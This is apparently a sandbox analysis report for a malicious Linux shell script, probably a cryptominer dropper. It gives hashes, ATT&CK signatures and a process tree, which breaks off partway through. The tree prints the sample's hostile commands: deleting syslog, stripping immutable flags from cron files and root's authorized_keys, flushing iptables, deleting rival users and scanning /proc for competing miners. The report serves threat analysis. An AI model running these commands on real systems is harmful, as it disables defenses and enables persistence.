d5b2d30c7a94cd8d14c44162e61d593fd328d7460cf6895399601bb84aebf71c

Analysis

max time kernel
150s
max time network
11s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
24/02/2025, 03:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d5b2d30c7a94cd8d14c44162e61d593fd328d7460cf6895399601bb84aebf71c.sh
Size 35KB
Sample250224-eavy7s1kw4
SHA256 d5b2d30c7a94cd8d14c44162e61d593fd328d7460cf6895399601bb84aebf71c
MD5 bec1e7369a1b7fe45f19f14e65c0c29d
SHA1 8a39e51ad5d6a0ee0d6d8533a0acae0d9cfacd5f
SHA512 1feaed1a5c1dbdfb703cb4b787542705ca7efbb917e360ee1b276a150b6ae13ba1f4a9f05e1b38454f08d1b7880076bccdd6c159a80eb8361550f034c0966892
SSDEEP 768:b87mzQ5VFNcDAFLcIwgnoYq0xFBvgmuNytmuz:bOVF+D6cIwgosFz
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
721	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
727	sudo

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1468	xargs
1538	xargs
1659	xargs
1665	xargs
1689	xargs
748	chattr
1520	xargs
1641	xargs
1698	xargs
1728	xargs
1949	xargs
1975	xargs
2045	xargs
1532	xargs
1544	xargs
1838	xargs
2015	xargs
1484	grep
1779	xargs
2049	xargs
1526	xargs
1635	xargs
1653	xargs
1699	sed
1731	xargs
1980	xargs
2035	xargs
1909	xargs
1914	xargs
1934	xargs
1954	xargs
2030	xargs
1853	xargs
1919	xargs
2000	xargs
2005	xargs
1482	grep
1599	xargs
1701	xargs
1695	xargs
1719	xargs
1725	xargs
1489	xargs
1605	xargs
1617	xargs
1944	xargs
709	chattr
1480	xargs
1514	xargs
1713	xargs
1823	xargs
1828	xargs
1899	xargs
1904	xargs
719	chattr
746	chattr
1509	xargs
1629	xargs
1802	xargs
1858	xargs
1869	xargs
1985	xargs
1499	xargs
1683	xargs

Creates/modifies Cron job 1 TTPs 13 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.dTtz0s	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.WgDwKQ	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.tKx6Ah	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.yOefiV	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.bs4MGh	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.TDm8jw	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.zC9Xbk	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.7frOOv	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.2lAALS	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.gl6yOF	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Ve1q6h	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.L1vlnt	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.opwvkT	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Process Discovery 1 TTPs 64 IoCs

Adversaries may try to discover information about running processes.

discovery

Process Discovery

T1057

pid	Process
1481	ps
1925	ps
2021	ps
1464	ps
1485	ps
1540	ps
1854	ps
1950	ps
1986	ps
2036	ps
1849	ps
1865	ps
1895	ps
1900	ps
1940	ps
1945	ps
2031	ps
2070	ps
1775	ps
1824	ps
2080	ps
1476	ps
2041	ps
1814	ps
1870	ps
1935	ps
1834	ps
1910	ps
1495	ps
1829	ps
1890	ps
1976	ps
1981	ps
2075	ps
1500	ps
1483	ps
1930	ps
1955	ps
2026	ps
2006	ps
2065	ps
1875	ps
1880	ps
1765	ps
1905	ps
1885	ps
1991	ps
1996	ps
2011	ps
2016	ps
2055	ps
1961	ps
1966	ps
2001	ps
1770	ps
1819	ps
1839	ps
1844	ps
1859	ps
1915	ps
1490	ps
1920	ps
1971	ps
2046	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/375/cmdline	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/77/cmdline	ps
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/320/status	ps
File opened for reading	/proc/351/cmdline	ps
File opened for reading	/proc/320/status	pkill
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/320/cmdline	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/76/cmdline	ps
File opened for reading	/proc/320/status	ps
File opened for reading	/proc/165/stat	ps
File opened for reading	/proc/477/status	ps
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/82/cmdline	ps
File opened for reading	/proc/1855/stat	ps
File opened for reading	/proc/76/cmdline	ps
File opened for reading	/proc/70/status	ps
File opened for reading	/proc/1908/status	ps
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/320/status	ps
File opened for reading	/proc/477/stat	ps
File opened for reading	/proc/510/status	pkill
File opened for reading	/proc/77/status	pkill
File opened for reading	/proc/165/status	pkill
File opened for reading	/proc/75/cmdline	pkill
File opened for reading	/proc/1753/cmdline	pkill
File opened for reading	/proc/324/status	ps
File opened for reading	/proc/8/stat	ps
File opened for reading	/proc/115/stat	ps
File opened for reading	/proc/514/stat	ps
File opened for reading	/proc/710/cmdline	pkill
File opened for reading	/proc/2/status	ps
File opened for reading	/proc/1900/cmdline	ps
File opened for reading	/proc/24/stat	ps
File opened for reading	/proc/477/cmdline	ps
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/115/status	ps
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/2061/stat	ps
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/710/status	ps
File opened for reading	/proc/1820/cmdline	ps
File opened for reading	/proc/320/status	ps
File opened for reading	/proc/1960/stat	ps
File opened for reading	/proc/399/stat	ps
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/uptime	ps
File opened for reading	/proc/1854/stat	ps
File opened for reading	/proc/7/cmdline	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/399/status	ps
File opened for reading	/proc/165/stat	ps
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/150/status	ps
File opened for reading	/proc/37/status	ps
File opened for reading	/proc/703/stat	ps
File opened for reading	/proc/150/cmdline	ps
File opened for reading	/proc/77/stat	ps
File opened for reading	/proc/114/cmdline	ps

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1420	ls
2013	grep
2043	grep

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/log_rot	d5b2d30c7a94cd8d14c44162e61d593fd328d7460cf6895399601bb84aebf71c.sh

/tmp/d5b2d30c7a94cd8d14c44162e61d593fd328d7460cf6895399601bb84aebf71c.sh
/tmp/d5b2d30c7a94cd8d14c44162e61d593fd328d7460cf6895399601bb84aebf71c.sh
1⤵
- Writes file to tmp directory
PID:706
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  PID:708
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  - Attempts to change immutable files
  PID:709
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:714
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  PID:717
- /usr/bin/chattr
  chattr -ia /etc/crontab
  2⤵
  - Attempts to change immutable files
  PID:719
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:721
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:727
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:735
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmOSi-0000Br-3t
      4⤵
      Reads CPU attributes
      PID:751
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:739
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmOSi-0000Bv-4E
      4⤵
      PID:752
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    - Reads CPU attributes
    PID:741
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:743
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:744
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  - Attempts to change immutable files
  PID:746
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  - Attempts to change immutable files
  PID:748
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:749
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:750
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:753
- /bin/ls
  ls -latrh /proc/1
  2⤵
  PID:756
- /bin/grep
  grep exe
  2⤵
  PID:757
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:760
- /bin/grep
  grep exe
  2⤵
  PID:764
- /bin/ls
  ls -latrh /proc/10
  2⤵
  PID:763
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:766
- /bin/ls
  ls -latrh /proc/103
  2⤵
  PID:769
- /bin/grep
  grep exe
  2⤵
  PID:770
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:774
- /bin/grep
  grep exe
  2⤵
  PID:777
- /bin/ls
  ls -latrh /proc/11
  2⤵
  PID:776
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:779
- /bin/grep
  grep exe
  2⤵
  PID:783
- /bin/ls
  ls -latrh /proc/114
  2⤵
  PID:782
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:785
- /bin/grep
  grep exe
  2⤵
  PID:788
- /bin/ls
  ls -latrh /proc/115
  2⤵
  PID:787
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:790
- /bin/grep
  grep exe
  2⤵
  PID:793
- /bin/ls
  ls -latrh /proc/12
  2⤵
  PID:792
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:795
- /bin/grep
  grep exe
  2⤵
  PID:798
- /bin/ls
  ls -latrh /proc/13
  2⤵
  PID:797
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:800
- /bin/ls
  ls -latrh /proc/14
  2⤵
  PID:802
- /bin/grep
  grep exe
  2⤵
  PID:803
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:805
- /bin/grep
  grep exe
  2⤵
  PID:808
- /bin/ls
  ls -latrh /proc/144
  2⤵
  PID:807
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:810
- /bin/grep
  grep exe
  2⤵
  PID:813
- /bin/ls
  ls -latrh /proc/15
  2⤵
  PID:812
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:815
- /bin/grep
  grep exe
  2⤵
  PID:818
- /bin/ls
  ls -latrh /proc/150
  2⤵
  PID:817
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:820
- /bin/grep
  grep exe
  2⤵
  PID:823
- /bin/ls
  ls -latrh /proc/16
  2⤵
  PID:822
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:825
- /bin/grep
  grep exe
  2⤵
  PID:828
- /bin/ls
  ls -latrh /proc/165
  2⤵
  PID:827
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:830
- /bin/grep
  grep exe
  2⤵
  PID:833
- /bin/ls
  ls -latrh /proc/17
  2⤵
  PID:832
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:835
- /bin/grep
  grep exe
  2⤵
  PID:838
- /bin/ls
  ls -latrh /proc/18
  2⤵
  PID:837
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:840
- /bin/grep
  grep exe
  2⤵
  PID:843
- /bin/ls
  ls -latrh /proc/19
  2⤵
  PID:842
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:845
- /bin/grep
  grep exe
  2⤵
  PID:848
- /bin/ls
  ls -latrh /proc/2
  2⤵
  PID:847
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:850
- /bin/grep
  grep exe
  2⤵
  PID:853
- /bin/ls
  ls -latrh /proc/20
  2⤵
  PID:852
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:855
- /bin/grep
  grep exe
  2⤵
  PID:858
- /bin/ls
  ls -latrh /proc/21
  2⤵
  PID:857
- /bin/grep
